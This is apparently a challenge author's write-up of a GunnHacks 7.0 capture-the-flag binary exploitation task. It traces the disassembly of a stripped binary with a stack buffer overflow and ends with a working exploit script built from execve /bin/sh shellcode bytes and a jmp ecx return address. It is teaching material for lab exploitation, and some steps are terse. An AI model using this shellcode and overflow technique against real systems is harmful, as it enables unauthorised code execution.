this was the first of two challenges in the gunnhacks 7.0 ctf; the bug is a buffer overflow, with aslr, nx, and stack protection disabled. also it's stripped and the section headers are a bit fucked up >:). it's statically linked, and does not have libc.
the lemons have revolted in the lemon gallery due to abysmal working conditions and forced labour. they've put up a blockade which seems almost inpenetrable; i can't even find the libc version! connect with
nc shell.ctf.gunnhacks.com 45753.
we can run pwn checksec to get an idea of what security features the binary has: 
starti to immediately break when the program starts).

rdtsc. rtfming shows this stores the number of CPU cycles since reset in edx:eax. this is rather odd, and may indicate it was handwritten in assembler.
> rdtsc
> xor edx,edx
> mov ecx,0x2710
> div ecx
> mov eax,edx
in line 2, register edx is zeroed. div will divide a 64-bit number in edx:eax by the provided operand (in this case ecx, which is equal to 0x2710). it stores the quotient in eax, and remainder in edx. this explains why edx is set to zero: we want to be sure the upper 32 bits of the input is zero, we don't care about the upper bits of rdtsc. on the final line, the remainder is moved into eax. these five lines in pseudocode are: eax = (lower 32 bits of cpu clock) % 0x2710.
the next part looks like a loop:
xor ecx,ecx push 0x5eadeef inc ecx cmp ecx,eax jle 0x80481e3
ecx is first set to 0, and is used as the iterator variable. on each iteration, the value 0x5eadeef is pushed to the stack, and ecx is incrememted. if ecx is less than or equal to that previous value we found (relating to the cpu clock), we continue the loop.
for (ecx = 0; ecx <= eax; ecx = ecx + 1) {
push(0x5eadeef);
};how odd. why would we be pushing junk (seadeef) to the stack, and why would the amount rely on the cpu clock?! let's continue looking at the assembler code.
xor ebp,ebp pop esi mov ecx,esp and esp,-16 push 0xb16b00b5 push 0xb16b00b5 push ecx push esi call 0x80481a2 add esp,16 mov ebx,eax mov eax,0x1 int 0x80 ret
it seems like we're pushing more junk to the stack, and doing some stuff with registers. at the end, we see the 0x1 system call:
mov eax,0x1 int 0x80
if we look at the assembler for the function we're jumping to, we see:

read is performed, onto the stack. something like:
char buf[32];
read(0, buf, 48);this overflows the buffer by 16 bytes, more than enough to redirect execution. we can use a cyclic pattern to work out the offset to the location of the return address.

ecx is going to be point to the buffer we read into when this function returns. conveniently, ropgadget tells us there is a jmp ecx gadget in the binary at 0x08048289. we can put shellcode in the buffer, and then redirect execution to the jmp ecx gadget. jmp eax will then jump to our shellcode. here is the final exploit:
buf = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
buf += "A"*(44-len(buf))
buf += '\x89\x82\x04\x08'
print(buf)the amount of solves (3 solves) was lower than i anticipated, but i think most people who solved it enjoyed it.
this is excruciatingly detailed at the beginning, but then I made a cup of tea and got distracted